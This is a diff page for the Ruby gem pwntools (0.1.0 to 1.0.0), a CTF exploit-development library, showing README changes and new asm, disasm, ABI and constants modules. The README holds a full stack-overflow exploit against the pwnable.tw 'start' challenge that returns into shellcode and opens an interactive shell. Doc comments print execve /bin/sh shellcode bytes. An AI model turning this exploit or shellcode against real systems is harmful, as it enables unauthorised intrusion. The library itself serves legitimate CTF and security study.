pwntools 0.1.0 → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/README.md +88 -11
- data/Rakefile +5 -1
- data/lib/pwn.rb +9 -7
- data/lib/pwnlib/abi.rb +60 -0
- data/lib/pwnlib/asm.rb +146 -0
- data/lib/pwnlib/constants/constant.rb +16 -2
- data/lib/pwnlib/constants/constants.rb +35 -19
- data/lib/pwnlib/constants/linux/amd64.rb +30 -1
- data/lib/pwnlib/context.rb +25 -17
- data/lib/pwnlib/dynelf.rb +117 -54
- data/lib/pwnlib/elf/elf.rb +267 -0
- data/lib/pwnlib/ext/helper.rb +4 -4
- data/lib/pwnlib/logger.rb +87 -0
- data/lib/pwnlib/memleak.rb +58 -29
- data/lib/pwnlib/pwn.rb +19 -8
- data/lib/pwnlib/reg_sort.rb +102 -108
- data/lib/pwnlib/shellcraft/generators/amd64/common/common.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/infloop.rb +17 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/memcpy.rb +31 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/mov.rb +127 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/nop.rb +16 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/popad.rb +27 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr.rb +64 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr_array.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/ret.rb +32 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/setregs.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/execve.rb +21 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/linux.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/ls.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/sh.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/syscall.rb +21 -0
- data/lib/pwnlib/shellcraft/generators/helper.rb +106 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/common.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/infloop.rb +17 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/mov.rb +90 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/nop.rb +16 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/pushstr.rb +39 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/pushstr_array.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/setregs.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/execve.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/linux.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/ls.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/sh.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/syscall.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/common.rb +26 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/infloop.rb +22 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/mov.rb +15 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/pushstr.rb +15 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/pushstr_array.rb +85 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/setregs.rb +82 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/execve.rb +69 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/linux.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/ls.rb +66 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/sh.rb +52 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/syscall.rb +52 -0
- data/lib/pwnlib/shellcraft/registers.rb +145 -0
- data/lib/pwnlib/shellcraft/shellcraft.rb +67 -0
- data/lib/pwnlib/timer.rb +60 -0
- data/lib/pwnlib/tubes/buffer.rb +96 -0
- data/lib/pwnlib/tubes/sock.rb +95 -0
- data/lib/pwnlib/tubes/tube.rb +270 -0
- data/lib/pwnlib/util/cyclic.rb +95 -94
- data/lib/pwnlib/util/fiddling.rb +256 -220
- data/lib/pwnlib/util/getdents.rb +83 -0
- data/lib/pwnlib/util/hexdump.rb +109 -108
- data/lib/pwnlib/util/lists.rb +55 -0
- data/lib/pwnlib/util/packing.rb +226 -228
- data/lib/pwnlib/util/ruby.rb +18 -0
- data/lib/pwnlib/version.rb +2 -1
- data/test/abi_test.rb +21 -0
- data/test/asm_test.rb +104 -0
- data/test/constants/constant_test.rb +1 -0
- data/test/constants/constants_test.rb +4 -2
- data/test/context_test.rb +1 -0
- data/test/data/echo.rb +20 -0
- data/test/data/elfs/Makefile +22 -0
- data/test/data/elfs/amd64.frelro.elf +0 -0
- data/test/data/elfs/amd64.frelro.pie.elf +0 -0
- data/test/data/elfs/amd64.nrelro.elf +0 -0
- data/test/data/elfs/amd64.prelro.elf +0 -0
- data/test/data/elfs/i386.frelro.pie.elf +0 -0
- data/test/data/elfs/i386.prelro.elf +0 -0
- data/test/data/elfs/source.cpp +19 -0
- data/test/data/flag +1 -0
- data/test/data/lib32/ld.so.2 +0 -0
- data/test/data/lib32/libc.so.6 +0 -0
- data/test/data/lib64/ld.so.2 +0 -0
- data/test/data/lib64/libc.so.6 +0 -0
- data/test/dynelf_test.rb +59 -24
- data/test/elf/elf_test.rb +120 -0
- data/test/ext_test.rb +3 -2
- data/test/files/use_pwnlib.rb +1 -1
- data/test/logger_test.rb +61 -0
- data/test/memleak_test.rb +4 -33
- data/test/reg_sort_test.rb +3 -1
- data/test/shellcraft/infloop_test.rb +26 -0
- data/test/shellcraft/linux/ls_test.rb +108 -0
- data/test/shellcraft/linux/sh_test.rb +119 -0
- data/test/shellcraft/linux/syscalls/execve_test.rb +136 -0
- data/test/shellcraft/linux/syscalls/syscall_test.rb +83 -0
- data/test/shellcraft/memcpy_test.rb +35 -0
- data/test/shellcraft/mov_test.rb +98 -0
- data/test/shellcraft/nop_test.rb +26 -0
- data/test/shellcraft/popad_test.rb +29 -0
- data/test/shellcraft/pushstr_array_test.rb +91 -0
- data/test/shellcraft/pushstr_test.rb +108 -0
- data/test/shellcraft/registers_test.rb +32 -0
- data/test/shellcraft/ret_test.rb +30 -0
- data/test/shellcraft/setregs_test.rb +62 -0
- data/test/shellcraft/shellcraft_test.rb +28 -0
- data/test/test_helper.rb +12 -1
- data/test/timer_test.rb +23 -0
- data/test/tubes/buffer_test.rb +45 -0
- data/test/tubes/sock_test.rb +68 -0
- data/test/tubes/tube_test.rb +241 -0
- data/test/util/cyclic_test.rb +2 -1
- data/test/util/fiddling_test.rb +2 -1
- data/test/util/getdents_test.rb +32 -0
- data/test/util/hexdump_test.rb +7 -9
- data/test/util/lists_test.rb +21 -0
- data/test/util/packing_test.rb +4 -3
- metadata +215 -25
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: e8617d0c3ce0deb5ba38b0f4c2b4d11c26ff2c48
|
4
|
+
data.tar.gz: 22a859a445f8fb1fa84c9c164f2f093ccaf81bcb
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: dec0121c94efbe114141de88e820e7ab64c25e64938e44413293a9b61d325ac6dcd0239588b930326a7c7da49378deebcbf94154cc59411e22f8926b95954668
|
7
|
+
data.tar.gz: 34f90a6171b82df95d5c5a78252ae370cc6251da6deeac65f2bbd011efa251ebf65e7435046cb159e42740c2f072ac6dc5de80f429496ed7f3cd2afe0978b020
|
data/README.md
CHANGED
@@ -12,12 +12,12 @@ Always sad when playing CTF that there's nothing equivalent to pwntools in Pytho
|
|
12
12
|
While pwntools is awesome, I always love Ruby far more than Python...
|
13
13
|
So this is an attempt to create such library.
|
14
14
|
|
15
|
-
There's almost NOTHING here now.
|
16
|
-
(Edit: there's something here now, but not much :wink:)
|
17
|
-
Going to implement important things (socket, tubes, asm/disasm, pack/unpack utilities) first.
|
18
15
|
Would try to have consistent naming with original pwntools, and do things in Ruby style.
|
19
16
|
|
20
17
|
# Example Usage
|
18
|
+
|
19
|
+
Here's an exploitation for `start` which is a challenge on [pwnable.tw](https://pwnable.tw).
|
20
|
+
|
21
21
|
```ruby
|
22
22
|
# encoding: ASCII-8BIT
|
23
23
|
# The encoding line is important most time, or you'll get "\u0000" when using "\x00" in code,
|
@@ -25,20 +25,97 @@ Would try to have consistent naming with original pwntools, and do things in Rub
|
|
25
25
|
|
26
26
|
require 'pwn'
|
27
27
|
|
28
|
-
|
29
|
-
context.
|
30
|
-
|
28
|
+
context.arch = 'i386'
|
29
|
+
context.log_level = :debug
|
30
|
+
z = Sock.new 'chall.pwnable.tw', 10000
|
31
|
+
|
32
|
+
z.recvuntil "Let's start the CTF:"
|
33
|
+
z.send p32(0x8048087).rjust(0x18, 'A')
|
34
|
+
stk = u32(z.recvuntil "\xff")
|
35
|
+
log.info "stack address: #{stk.hex}" # Log stack address
|
36
|
+
|
37
|
+
# Return to shellcode
|
38
|
+
addr = stk + 0x14
|
39
|
+
payload = addr.p32.rjust(0x18, 'A') + asm(shellcraft.sh)
|
40
|
+
z.write payload
|
41
|
+
|
42
|
+
# Switch to interactive mode
|
43
|
+
z.interact
|
44
|
+
```
|
45
|
+
|
46
|
+
More features and details can be found in the
|
47
|
+
[documentation](http://www.rubydoc.info/github/peter50216/pwntools-ruby/master/frames).
|
31
48
|
|
32
|
-
|
33
|
-
|
34
|
-
|
49
|
+
# Installation
|
50
|
+
|
51
|
+
### Install the latest release:
|
52
|
+
```sh
|
53
|
+
gem install pwntools
|
54
|
+
```
|
55
|
+
|
56
|
+
### Install from master branch:
|
57
|
+
```sh
|
58
|
+
git clone https://github.com/peter50216/pwntools-ruby
|
59
|
+
cd pwntools-ruby
|
60
|
+
gem build pwntools.gemspec && gem install pwntools-*.gem
|
35
61
|
```
|
36
62
|
|
63
|
+
### optional
|
64
|
+
|
65
|
+
Some of the features (assembling/disassembling) require non-Ruby dependencies. Checkout the
|
66
|
+
installation guide for
|
67
|
+
[keystone-engine](https://github.com/keystone-engine/keystone/tree/master/docs) and
|
68
|
+
[capstone-engine](http://www.capstone-engine.org/documentation.html).
|
69
|
+
|
70
|
+
Or you are able to get running quickly with
|
71
|
+
|
72
|
+
```sh
|
73
|
+
# Install Capstone
|
74
|
+
sudo apt-get install libcapstone3
|
75
|
+
|
76
|
+
# Compile and install Keystone from source
|
77
|
+
sudo apt-get install cmake
|
78
|
+
git clone https://github.com/keystone-engine/keystone.git /tmp/keystone
|
79
|
+
cd /tmp/keystone
|
80
|
+
mkdir build
|
81
|
+
cd build
|
82
|
+
../make-share.sh
|
83
|
+
sudo make install
|
84
|
+
```
|
85
|
+
|
86
|
+
# Supported Features
|
87
|
+
|
88
|
+
## Architectures
|
89
|
+
|
90
|
+
- [x] i386
|
91
|
+
- [x] amd64
|
92
|
+
- [ ] arm
|
93
|
+
- [ ] thumb
|
94
|
+
|
95
|
+
## Modules
|
96
|
+
|
97
|
+
- [x] context
|
98
|
+
- [x] asm
|
99
|
+
- [x] disasm
|
100
|
+
- [x] shellcraft
|
101
|
+
- [x] elf
|
102
|
+
- [x] dynelf
|
103
|
+
- [x] logger
|
104
|
+
- [ ] tube
|
105
|
+
- [x] sock
|
106
|
+
- [ ] process
|
107
|
+
- [ ] fmtstr
|
108
|
+
- [x] util
|
109
|
+
- [x] pack
|
110
|
+
- [x] cyclic
|
111
|
+
- [x] fiddling
|
112
|
+
|
37
113
|
# Development
|
38
114
|
```sh
|
39
|
-
git clone
|
115
|
+
git clone https://github.com/peter50216/pwntools-ruby
|
40
116
|
cd pwntools-ruby
|
41
|
-
|
117
|
+
bundle
|
118
|
+
bundle exec rake
|
42
119
|
```
|
43
120
|
|
44
121
|
# Note to irb users
|
data/Rakefile
CHANGED
@@ -5,10 +5,10 @@ require 'bundler/gem_tasks'
|
|
5
5
|
require 'rainbow'
|
6
6
|
require 'rake/testtask'
|
7
7
|
require 'rubocop/rake_task'
|
8
|
+
require 'yard'
|
8
9
|
|
9
10
|
RuboCop::RakeTask.new(:rubocop) do |task|
|
10
11
|
task.patterns = ['lib/**/*.rb', 'test/**/*.rb']
|
11
|
-
task.formatters = ['files']
|
12
12
|
end
|
13
13
|
|
14
14
|
task default: %i(install_git_hooks rubocop test)
|
@@ -18,9 +18,13 @@ Rake::TestTask.new(:test) do |test|
|
|
18
18
|
test.libs << 'test'
|
19
19
|
test.pattern = 'test/**/*_test.rb'
|
20
20
|
test.verbose = true
|
21
|
+
test.options = '--pride'
|
21
22
|
end
|
22
23
|
|
24
|
+
YARD::Rake::YardocTask.new(:doc)
|
25
|
+
|
23
26
|
task :install_git_hooks do
|
27
|
+
next if ENV['CI']
|
24
28
|
hooks = %w(pre-push)
|
25
29
|
git_hook_dir = Pathname.new('.git/hooks/')
|
26
30
|
hook_dir = Pathname.new('git-hooks/')
|
data/lib/pwn.rb
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
# encoding: ASCII-8BIT
|
2
2
|
|
3
|
-
# require this file for easy exploit development, but would pollute main Object
|
4
|
-
#
|
3
|
+
# require this file for easy exploit development, but would pollute main Object and some built-in objects. (String,
|
4
|
+
# Integer, ...)
|
5
5
|
|
6
6
|
require 'pwnlib/pwn'
|
7
7
|
|
@@ -12,13 +12,15 @@ require 'pwnlib/ext/array'
|
|
12
12
|
extend Pwn
|
13
13
|
|
14
14
|
include Pwnlib
|
15
|
+
include Pwnlib::Tubes
|
16
|
+
|
17
|
+
# XXX(david942j): include here because module ELF and class ELF have same name..
|
18
|
+
include ::Pwnlib::ELF
|
15
19
|
|
16
20
|
# Small "fix" for irb context problem.
|
17
|
-
# irb defines main.context for IRB::Context, which overrides our
|
18
|
-
#
|
19
|
-
#
|
20
|
-
# and the IRB::Context can still be accessible from irb_context, we should be
|
21
|
-
# fine removing context.
|
21
|
+
# irb defines main.context for IRB::Context, which overrides our Pwnlib::Context. :(
|
22
|
+
# Since our "context" should be more important for someone requiring 'pwn', and the IRB::Context can still be accessible
|
23
|
+
# from irb_context, we should be fine removing context.
|
22
24
|
class << self
|
23
25
|
remove_method(:context) if method_defined?(:context)
|
24
26
|
end
|
data/lib/pwnlib/abi.rb
ADDED
@@ -0,0 +1,60 @@
|
|
1
|
+
# encoding: ASCII-8BIT
|
2
|
+
|
3
|
+
require 'pwnlib/context'
|
4
|
+
|
5
|
+
module Pwnlib
|
6
|
+
# Encapsulates information about a calling convention.
|
7
|
+
module ABI
|
8
|
+
# A super class for recording registers and stack's information.
|
9
|
+
class ABI
|
10
|
+
attr_reader :register_arguments
|
11
|
+
attr_reader :arg_alignment
|
12
|
+
attr_reader :stack_pointer
|
13
|
+
# Only used for x86, to specify the +eax+, +edx+ pair.
|
14
|
+
attr_reader :cdq_pair
|
15
|
+
def initialize(regs, align, stack_pointer, cdq_pair: nil)
|
16
|
+
@register_arguments = regs
|
17
|
+
@arg_alignment = align
|
18
|
+
@stack_pointer = stack_pointer
|
19
|
+
@cdq_pair = cdq_pair
|
20
|
+
end
|
21
|
+
|
22
|
+
class << self
|
23
|
+
def default
|
24
|
+
DEFAULT[arch_key]
|
25
|
+
end
|
26
|
+
|
27
|
+
def syscall
|
28
|
+
SYSCALL[arch_key]
|
29
|
+
end
|
30
|
+
|
31
|
+
private
|
32
|
+
|
33
|
+
def arch_key
|
34
|
+
[context.bits, context.arch, context.os]
|
35
|
+
end
|
36
|
+
include ::Pwnlib::Context
|
37
|
+
end
|
38
|
+
end
|
39
|
+
|
40
|
+
# The syscall ABI treats the syscall number as the zeroth argument,
|
41
|
+
# which must be loaded into the specified register.
|
42
|
+
class SyscallABI < ABI
|
43
|
+
attr_reader :syscall_str
|
44
|
+
def initialize(regs, align, stack_pointer, syscall_str)
|
45
|
+
super(regs, align, stack_pointer)
|
46
|
+
@syscall_str = syscall_str
|
47
|
+
end
|
48
|
+
end
|
49
|
+
|
50
|
+
DEFAULT = {
|
51
|
+
[32, 'i386', 'linux'] => ABI.new([], 4, 'esp', cdq_pair: %w(eax edx)),
|
52
|
+
[64, 'amd64', 'linux'] => ABI.new(%w(rdi rsi rdx rcx r8 r9), 8, 'rsp', cdq_pair: %w(rax rdx))
|
53
|
+
}.freeze
|
54
|
+
|
55
|
+
SYSCALL = {
|
56
|
+
[32, 'i386', 'linux'] => SyscallABI.new(%w(eax ebx ecx edx esi edi ebp), 4, 'esp', 'int 0x80'),
|
57
|
+
[64, 'amd64', 'linux'] => SyscallABI.new(%w(rax rdi rsi rdx r10 r8 r9), 8, 'rsp', 'syscall')
|
58
|
+
}.freeze
|
59
|
+
end
|
60
|
+
end
|
data/lib/pwnlib/asm.rb
ADDED
@@ -0,0 +1,146 @@
|
|
1
|
+
# encoding: ASCII-8BIT
|
2
|
+
|
3
|
+
require 'keystone_engine/keystone_const'
|
4
|
+
|
5
|
+
require 'pwnlib/context'
|
6
|
+
require 'pwnlib/util/ruby'
|
7
|
+
|
8
|
+
module Pwnlib
|
9
|
+
# Convert assembly code to machine code and vice versa.
|
10
|
+
# Use two open-source projects +keystone+/+capstone+ to asm/disasm.
|
11
|
+
module Asm
|
12
|
+
module_function
|
13
|
+
|
14
|
+
# Disassembles a bytestring into human readable assembly.
|
15
|
+
#
|
16
|
+
# {.disasm} depends on another open-source project - capstone, error will be raised if capstone is not intalled.
|
17
|
+
# @param [String] data
|
18
|
+
# The bytestring.
|
19
|
+
# @param [Integer] vma
|
20
|
+
# Virtual memory address.
|
21
|
+
#
|
22
|
+
# @return [String]
|
23
|
+
# Disassemble result with nice typesetting.
|
24
|
+
#
|
25
|
+
# @raise [LoadError]
|
26
|
+
# If libcapstone is not installed.
|
27
|
+
#
|
28
|
+
# @example
|
29
|
+
# context.arch = 'i386'
|
30
|
+
# print disasm("\xb8\x5d\x00\x00\x00")
|
31
|
+
# # 0: b8 5d 00 00 00 mov eax, 0x5d
|
32
|
+
#
|
33
|
+
# context.arch = 'amd64'
|
34
|
+
# print disasm("\xb8\x17\x00\x00\x00")
|
35
|
+
# # 0: b8 17 00 00 00 mov eax, 0x17
|
36
|
+
# print disasm("jhH\xb8/bin///sPH\x89\xe71\xd21\xf6j;X\x0f\x05", vma: 0x1000)
|
37
|
+
# # 1000: 6a 68 push 0x68
|
38
|
+
# # 1002: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f
|
39
|
+
# # 100c: 50 push rax
|
40
|
+
# # 100d: 48 89 e7 mov rdi, rsp
|
41
|
+
# # 1010: 31 d2 xor edx, edx
|
42
|
+
# # 1012: 31 f6 xor esi, esi
|
43
|
+
# # 1014: 6a 3b push 0x3b
|
44
|
+
# # 1016: 58 pop rax
|
45
|
+
# # 1017: 0f 05 syscall
|
46
|
+
def disasm(data, vma: 0)
|
47
|
+
require_message('crabstone', install_crabstone_guide) # will raise error if require fail.
|
48
|
+
cs = Crabstone::Disassembler.new(cap_arch, cap_mode)
|
49
|
+
insts = cs.disasm(data, vma).map do |ins|
|
50
|
+
[ins.address, ins.bytes.pack('C*'), ins.mnemonic, ins.op_str.to_s]
|
51
|
+
end
|
52
|
+
max_dlen = format('%x', insts.last.first).size + 2
|
53
|
+
max_hlen = insts.map { |ins| ins[1].size }.max * 3
|
54
|
+
insts.reduce('') do |s, ins|
|
55
|
+
hex_code = ins[1].bytes.map { |c| format('%02x', c) }.join(' ')
|
56
|
+
inst = if ins[3].empty?
|
57
|
+
ins[2]
|
58
|
+
else
|
59
|
+
format('%-7s %s', ins[2], ins[3])
|
60
|
+
end
|
61
|
+
s + format("%#{max_dlen}x: %-#{max_hlen}s%s\n", ins[0], hex_code, inst)
|
62
|
+
end
|
63
|
+
end
|
64
|
+
|
65
|
+
# Convert assembly code to machine code.
|
66
|
+
#
|
67
|
+
# @param [String] code
|
68
|
+
# The assembly code to be converted.
|
69
|
+
#
|
70
|
+
# @return [String]
|
71
|
+
# The result.
|
72
|
+
#
|
73
|
+
# @example
|
74
|
+
# assembly = shellcraft.amd64.linux.sh
|
75
|
+
# context.local(arch: 'amd64') { asm(assembly) }
|
76
|
+
# #=> "jhH\xB8/bin///sPj;XH\x89\xE71\xF6\x99\x0F\x05"
|
77
|
+
#
|
78
|
+
# context.local(arch: 'i386') { asm(shellcraft.sh) }
|
79
|
+
# #=> "jhh///sh/binj\vX\x89\xE31\xC9\x99\xCD\x80"
|
80
|
+
#
|
81
|
+
# @diff
|
82
|
+
# Not support +asm('mov eax, SYS_execve')+.
|
83
|
+
def asm(code)
|
84
|
+
require_message('keystone_engine', install_keystone_guide)
|
85
|
+
KeystoneEngine::Ks.new(ks_arch, ks_mode).asm(code)[0]
|
86
|
+
end
|
87
|
+
|
88
|
+
::Pwnlib::Util::Ruby.private_class_method_block do
|
89
|
+
def cap_arch
|
90
|
+
{
|
91
|
+
'i386' => Crabstone::ARCH_X86,
|
92
|
+
'amd64' => Crabstone::ARCH_X86
|
93
|
+
}[context.arch]
|
94
|
+
end
|
95
|
+
|
96
|
+
def cap_mode
|
97
|
+
{
|
98
|
+
32 => Crabstone::MODE_32,
|
99
|
+
64 => Crabstone::MODE_64
|
100
|
+
}[context.bits]
|
101
|
+
end
|
102
|
+
|
103
|
+
def ks_arch
|
104
|
+
{
|
105
|
+
'i386' => KeystoneEngine::KS_ARCH_X86,
|
106
|
+
'amd64' => KeystoneEngine::KS_ARCH_X86
|
107
|
+
}[context.arch]
|
108
|
+
end
|
109
|
+
|
110
|
+
def ks_mode
|
111
|
+
{
|
112
|
+
32 => KeystoneEngine::KS_MODE_32,
|
113
|
+
64 => KeystoneEngine::KS_MODE_64
|
114
|
+
}[context.bits]
|
115
|
+
end
|
116
|
+
|
117
|
+
# FFI is used in keystone and capstone binding gems, this method handles when libraries not installed yet.
|
118
|
+
def require_message(lib, msg)
|
119
|
+
require lib
|
120
|
+
rescue LoadError => e
|
121
|
+
raise LoadError, e.message + "\n\n" + msg
|
122
|
+
end
|
123
|
+
|
124
|
+
def install_crabstone_guide
|
125
|
+
<<-EOS
|
126
|
+
#disasm dependes on capstone, which is detected not installed yet.
|
127
|
+
Checkout the following link for installation guide:
|
128
|
+
|
129
|
+
http://www.capstone-engine.org/documentation.html
|
130
|
+
|
131
|
+
EOS
|
132
|
+
end
|
133
|
+
|
134
|
+
def install_keystone_guide
|
135
|
+
<<-EOS
|
136
|
+
#asm dependes on keystone, which is detected not installed yet.
|
137
|
+
Checkout the following link for installation guide:
|
138
|
+
|
139
|
+
https://github.com/keystone-engine/keystone/tree/master/docs
|
140
|
+
|
141
|
+
EOS
|
142
|
+
end
|
143
|
+
include ::Pwnlib::Context
|
144
|
+
end
|
145
|
+
end
|
146
|
+
end
|
@@ -4,9 +4,23 @@ require 'pwnlib/util/fiddling'
|
|
4
4
|
|
5
5
|
module Pwnlib
|
6
6
|
module Constants
|
7
|
-
# A class that includes name and value
|
7
|
+
# A class that includes name and value representing a constant.
|
8
|
+
# This class works like an integer, and support operations with integers.
|
9
|
+
#
|
10
|
+
# @example
|
11
|
+
# a = Pwnlib::Constants::Constant.new('a', 0x3)
|
12
|
+
# #=> Constant("a", 0x3)
|
13
|
+
# [a + 1, 2 * a, a | 6, a == 3, 0 > a]
|
14
|
+
# #=> [4, 6, 7, true, false]
|
8
15
|
class Constant < Numeric
|
9
|
-
|
16
|
+
# @return [String]
|
17
|
+
attr_reader :str
|
18
|
+
|
19
|
+
# @return [Integer]
|
20
|
+
attr_reader :val
|
21
|
+
|
22
|
+
# @param [String] str
|
23
|
+
# @param [Integer] val
|
10
24
|
def initialize(str, val)
|
11
25
|
@str = str
|
12
26
|
@val = val
|
@@ -1,45 +1,54 @@
|
|
1
1
|
# encoding: ASCII-8BIT
|
2
2
|
|
3
|
-
require '
|
3
|
+
require 'dentaku'
|
4
|
+
|
4
5
|
require 'pwnlib/constants/constant'
|
6
|
+
require 'pwnlib/context'
|
5
7
|
|
6
8
|
module Pwnlib
|
7
|
-
# Module containing constants
|
9
|
+
# Module containing constants.
|
10
|
+
#
|
8
11
|
# @example
|
9
12
|
# context.arch = 'amd64'
|
10
13
|
# Pwnlib::Constants.SYS_read
|
11
|
-
#
|
14
|
+
# #=> Constant('SYS_read', 0x0)
|
12
15
|
module Constants
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
#
|
16
|
+
class << self
|
17
|
+
# To support getting constants like +Pwnlib::Constants.SYS_read+.
|
18
|
+
#
|
19
|
+
# @return [Constant]
|
20
|
+
#
|
21
|
+
# @raise [NoMethodError]
|
18
22
|
def method_missing(method, *args, &block)
|
19
23
|
args.empty? && block.nil? && get_constant(method) || super
|
20
24
|
end
|
21
25
|
|
26
|
+
# @return [Boolean]
|
22
27
|
def respond_to_missing?(method, _include_all)
|
23
28
|
!get_constant(method).nil?
|
24
29
|
end
|
25
30
|
|
26
|
-
# Eval for Constants
|
31
|
+
# Eval for Constants.
|
27
32
|
#
|
28
33
|
# @param [String] str
|
29
|
-
# The string to be
|
34
|
+
# The string to be evaluated.
|
30
35
|
#
|
31
36
|
# @return [Constant]
|
32
|
-
# The
|
37
|
+
# The evaluated result.
|
33
38
|
#
|
34
39
|
# @example
|
35
40
|
# eval('O_CREAT')
|
36
|
-
#
|
37
|
-
#
|
38
|
-
#
|
41
|
+
# #=> Constant('(O_CREAT)', 0x40)
|
42
|
+
# eval('O_CREAT | O_APPEND')
|
43
|
+
# #=> Constant('(O_CREAT | O_APPEND)', 0x440)
|
39
44
|
def eval(str)
|
40
45
|
return str unless str.instance_of?(String)
|
41
|
-
|
42
|
-
|
46
|
+
begin
|
47
|
+
val = calculator.evaluate!(str.strip).to_i
|
48
|
+
rescue Dentaku::UnboundVariableError => e
|
49
|
+
raise NameError, e.message
|
50
|
+
end
|
51
|
+
::Pwnlib::Constants::Constant.new("(#{str})", val)
|
43
52
|
end
|
44
53
|
|
45
54
|
private
|
@@ -48,6 +57,7 @@ module Pwnlib
|
|
48
57
|
[context.os, context.arch]
|
49
58
|
end
|
50
59
|
|
60
|
+
ENV_STORE = {} # rubocop:disable Style/MutableConstant
|
51
61
|
def current_store
|
52
62
|
ENV_STORE[current_arch_key] ||= load_constants(current_arch_key)
|
53
63
|
end
|
@@ -56,9 +66,15 @@ module Pwnlib
|
|
56
66
|
current_store[symbol]
|
57
67
|
end
|
58
68
|
|
59
|
-
|
69
|
+
CALCULATORS = {} # rubocop:disable Style/MutableConstant
|
70
|
+
def calculator
|
71
|
+
CALCULATORS[current_arch_key] ||= Dentaku::Calculator.new.store(current_store)
|
72
|
+
end
|
73
|
+
|
74
|
+
# Small class for instance_eval loaded file.
|
60
75
|
class ConstantBuilder
|
61
76
|
attr_reader :tbl
|
77
|
+
|
62
78
|
def initialize
|
63
79
|
@tbl = {}
|
64
80
|
end
|
@@ -75,8 +91,8 @@ module Pwnlib
|
|
75
91
|
builder.instance_eval(IO.read(filename))
|
76
92
|
builder.tbl
|
77
93
|
end
|
78
|
-
end
|
79
94
|
|
80
|
-
|
95
|
+
include ::Pwnlib::Context
|
96
|
+
end
|
81
97
|
end
|
82
98
|
end
|